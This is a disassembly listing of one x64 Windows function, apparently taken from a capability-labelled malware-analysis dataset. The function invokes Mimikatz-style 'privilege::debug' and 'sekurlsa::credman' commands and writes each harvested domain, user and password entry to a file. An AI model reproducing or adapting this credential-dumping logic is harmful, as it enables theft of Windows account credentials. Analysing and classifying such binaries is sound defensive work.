Function at 0x180001c10
Capabilities:
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rsi, rcx
xor r15d, r15d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x40], r15d
mov byte [rsp + 0x50], r15b
call fcn.1800212f0
mov dword [rsp + 0x44], r15d
mov r12d, r15d
call fcn.18001ff18
lea rcx, [rax + 0x30]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc88], eax
call fcn.18001ff18
lea rcx, [rax + 0x60]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc90], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ebp, 1
lea rcx, [0x180004580]
mov edx, ebp
mov dword [0x18004cc8c], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call fcn.180004a6c
lea r8, [0x18004cc9c]
lea rdx, [0x18004cc94]
lea rcx, [0x18004cc98]
call qword [sym.imp.ntdll.dll_RtlGetNtVersionNumbers]
and dword [0x18004cc9c], 0x7fff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x180001cfe
mov ecx, eax
call fcn.180004a6c
call fcn.180005470
lea rdi, [0x18004a500]
mov ebx, Ordinal_27
nop
mov rax, qword [rdi]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x180001d37
call rcx
test eax, eax
jns 0x180001d37
mov rdx, qword [rdi]
lea rcx, str.INIT
mov r8d, eax
mov rdx, qword [rdx]
call fcn.180004a6c
add rdi, 8
dec rbx
jne 0x180001d10
lea rcx, str.privilege::debug
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, eax
test eax, eax
je 0x180001dc1
mov edx, ebx
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180001dc1
lea rcx, str.privilege::debug
mov r8d, ebx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebx, eax
je 0x180001d93
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, rax
test rdi, rdi
je 0x180001dc1
movzx eax, word [rdi]
cmp eax, 0x21
je 0x180001daf
cmp eax, 0x2a
je 0x180001db8
mov rcx, rdi
call fcn.180004734
jmp 0x180001db8
lea rcx, [rdi + 2]
call fcn.180004a80
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x18004b788], r12d
mov qword [rsp + 0x4a0], r14
je 0x180001f37
lea rcx, str.sekurlsa::credman
call fcn.180004684
mov dword [0x18004b788], r15d
test eax, eax
cmove r12d, ebp
test r12d, r12d
je 0x180001f37
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x28], Ordinal_133
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x180001f37
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x498], r13
call fcn.180002b58
mov ebp, dword [rsp + 0x40]
mov esi, r15d
mov r13, rax
test ebp, ebp
je 0x180001ed1
lea rbx, [rax + 8]
nop word [rax + rax]
mov rax, qword [rbx + 8]
mov r9, qword [rbx - 8]
inc esi
mov qword [rsp + 0x28], rax
mov rax, qword [rbx]
lea rdx, str._d_domain___ls__user___ls__password___ls___r_n
lea rcx, [rsp + 0x50]
mov r8d, esi
mov qword [rsp + 0x20], rax
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], r15
not rcx
lea r8, [rcx - 1]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call fcn.1800212f0
add rbx, 0x18
cmp esi, ebp
jb 0x180001e60
test r13, r13
je 0x180001f26
test ebp, ebp
je 0x180001f1e
lea rdi, [r13 + 0x10]
mov rbx, rbp
mov rcx, qword [rdi - 0x10]
test rcx, rcx
je 0x180001ef3
call fcn.180028cc8
mov qword [rdi - 0x10], r15
mov rcx, qword [rdi - 8]
test rcx, rcx
je 0x180001f05
call fcn.180028cc8
mov qword [rdi - 8], r15
mov rcx, qword [rdi]
test rcx, rcx
je 0x180001f15
call fcn.180028cc8
mov qword [rdi], r15
add rdi, 0x18
dec rbx
jne 0x180001ee1
mov rcx, r13
call fcn.180028cc8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x498]
mov eax, r12d
mov r14, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.18001f750
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x460
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret